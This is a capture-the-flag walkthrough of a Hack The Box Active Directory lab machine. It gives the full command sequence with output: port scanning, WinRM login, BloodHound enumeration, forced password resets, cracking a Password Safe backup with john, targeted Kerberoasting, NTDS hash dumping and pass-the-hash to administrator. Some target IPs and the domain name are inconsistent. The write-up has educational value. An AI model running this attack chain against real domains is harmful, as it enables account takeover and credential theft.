Enumeration
Let’s start with a scan to all ports:
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| sudo nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.11.61 -oG allPorts
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Here are the open ports
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| PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
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once it’s finished, grep the ports and copy them to later scan them with nmap looking out for the versions of the services hosted.
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sudo nmap -sC -sV -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 10.10.11.42 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 16:52 EDT
Nmap scan report for 10.10.11.42
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-12 03:52:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
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add the domain to your /etc/hosts file
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| 10.10.11.61 administrator.htb dc.administrator.htb
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Run netexec with the credentials from hackthebox
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| nxc winrm 10.10.11.42 -u Olivia -p ichliebedich
WINRM 10.10.11.42 5985 DC [+] administrator.htb\olivia:ichliebedich (Pwn3d!)
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Login to the machine using evil-winrm and run SharpHound to look for Attack paths
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| evil-winrm -i 10.10.11.42 -u olivia -p 'ichliebedich'
upload SharpHound.exe
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Once you ingested the data in bloodhound, you can see that olivia has GenericAll meaning she has full control over michael’s account
And Michael Can ForceChangePassword of Benjamin
To reset the password for these users you can use this commands
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| net rpc password "michael" 'P@ssw00rd!231!!!' -U "administrator.htb"/"Olivia"%'ichliebedich' -S dc.administrator.htb
net rpc password "benjamin" 'P@ssw00rd!555!!!' -U "administrator.htb"/"michael"%'P@ssw00rd!231!!!' -S dc.administrator.htb
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User Flag
With these accounts you can look for access to other services like smb or ftp
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| nxc ftp 10.10.11.42 -u benjamin -p 'P@ssw00rd!555!!!' --ls
FTP 10.10.11.42 21 10.10.11.42 [*] Banner: Microsoft FTP Service
FTP 10.10.11.42 21 10.10.11.42 [+] benjamin:P@ssw00rd!555!!!
FTP 10.10.11.42 21 10.10.11.42 [*] Directory Listing
FTP 10.10.11.42 21 10.10.11.42 10-05-24 09:13AM 952 Backup.psafe3
nxc ftp 10.10.11.42 -u benjamin -p 'P@ssw00rd!555!!!' --get Backup.psafe3
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this is a password database file that’s protected by a master password, to crack that password you can use john the ripper
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| pwsafe2john Backup.psafe3 > psafe3.hash
john psafe3.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
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with this password, open the database with passwordsafe
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| sudo apt install passwordsafe
pwsafe Backup.psafe3
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you can login as emily with evil-winrm
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| evil-winrm -i 10.10.11.42 -u emily -p PASSWORD
*Evil-WinRM* PS C:\Users\emily\Desktop> type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXX
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Root Flag
Looking for attack paths as emily in bloodhound you can find that she has GenericWrite access on Ethan’s account, which means we can use this to do a targeted kerberoast attack to obtain the hash of ethan’s account and crack it with johntheripper
Use faketime to sync your time with the DC and targetedKerberoast to execute the attack
https://github.com/ShutdownRepo/targetedKerberoast
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| faketime "$(ntpdate -q dc.administrator.htb | grep -oP '\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}')" python targetedKerberoast.py -d "administrator.htb" -u "emily" -p "XXXXXXXXXXXXXXXXXXXXX"
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And crack the hash with john
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| john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
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Now that we have access to ethan’s account, we can dump the hashes for the administrator and obtain the root flag

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| nxc smb 192.168.1.100 -u ethan -p 'XXXXXXXXXXXXXX' --ntds --users administrator
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Login with evil-winrm as administrator and get the flag
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| evil-winrm -i 10.10.11.42 -u administrator -H XXXXXXXXXXXXXXXXXXXXXXXXXX
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
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Conclusion
This machine covers topics like Kerberoasting, bloodhound, DCSync / Dump Hashes, GenericWrite, GenericAll,Password Cracking and Password Database leak
Hope you enjoy it and Happy Hacking!